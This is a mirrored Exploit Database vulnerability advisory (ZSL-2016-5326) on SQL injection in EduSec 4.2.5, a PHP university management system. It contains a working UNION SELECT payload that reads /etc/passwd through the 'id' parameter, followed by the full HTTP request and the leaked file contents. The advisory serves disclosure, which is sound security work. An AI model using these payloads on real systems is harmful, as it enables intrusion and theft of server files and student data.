EduSec 4.2.5 – SQL Injection

• Exploit Database
• 18 阅读

• 作者： Bikramaditya Guha
  日期： 2016-05-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39856/

• EduSec 4.2.5 Multiple SQL Injection Vulnerabilities
  
  
  Vendor: Rudra Softech
  Product web page: http://www.rudrasoftech.com
  Affected version: 4.2.5
  
  Summary: EduSec has a suite of selective modules specifically
  tailored to the requirements of education industry. EduSec is
  engineered and designed considering wide range of management
  functions within the university. With the use of EduSec, staff
  can be more accountable as it helps to know the performance of
  each department in just few seconds. Almost all departments within
  education industry (e. g. admission, administration, time table,
  examination, HR, finance etc) can be synchronized and accessed.
  EduSec helps to assign the responsibilities to employee staff
  and can reduce time wastage and can speed up the administrative
  functions. Core functions like admissions, library management,
  transport management, students’ attendance in short entire range
  of university functions can be well performed by EduSec.
  
  Desc: EduSec suffers from multiple SQL Injection vulnerabilities.
  Input passed via multiple 'id' GET parameters are not properly
  sanitised before being returned to the user or used in SQL queries.
  This can be exploited to manipulate SQL queries by injecting 
  arbitrary SQL code.
  
  Tested on: MySQL/5.5.35-0ubuntu0.12.04.2
   Apache/2.4.12 (Ubuntu)
  
  
  Vulnerability discovered by Bikramaditya Guha aka "PhoenixX"
  @zeroscience
  
  
  Advisory ID: ZSL-2016-5326
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5326.php
  
  
  10.05.2016
  
  --
  
  
  Parameter: id (GET)
  POC URL: 
  http://localhost/student/stu-master/view?id=2%20UniOn%20SeleCt%201,load_file%28%27/etc/passwd%27%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--#guardians
  http://localhost/employee/emp-master/view?id=20%27
  
  
  Request:
  GET /student/stu-master/view?id=2%20UniOn%20SeleCt%201,load_file(%27/etc/passwd%27),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Cookie: PHPSESSID=r18cpflgekesdn8cam8c8jmf86; _csrf=0f8795c6671d0db724d513142cc81e5d3ca8b83c094b970242fda96899be8148a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22E-TdUjNTZVVugL36t2p-VcoC6MBR4hqq%22%3B%7D; language=32d49278f28c78229de164fe79dc13b6adb3c98af2d133240eb1ffc44771ad3da%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22en%22%3B%7D; isRTL=0fc3d58c320669b52dea022e5a3db09649641bfdd1cbba93929ce2932c57707aa%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22isRTL%22%3Bi%3A1%3Bi%3A0%3B%7D
  Connection: close
  
  Response:
  HTTP/1.1 200 OK
  Date: Fri, 13 May 2016 08:35:05 GMT
  Server: Apache/2.4.12 (Ubuntu)
  <....snip>
  
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  bin:x:2:2:bin:/bin:/bin/sh
  sys:x:3:3:sys:/dev:/bin/sh
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/bin/sh
  .
  ..
  ...
  ....
  .....
  ......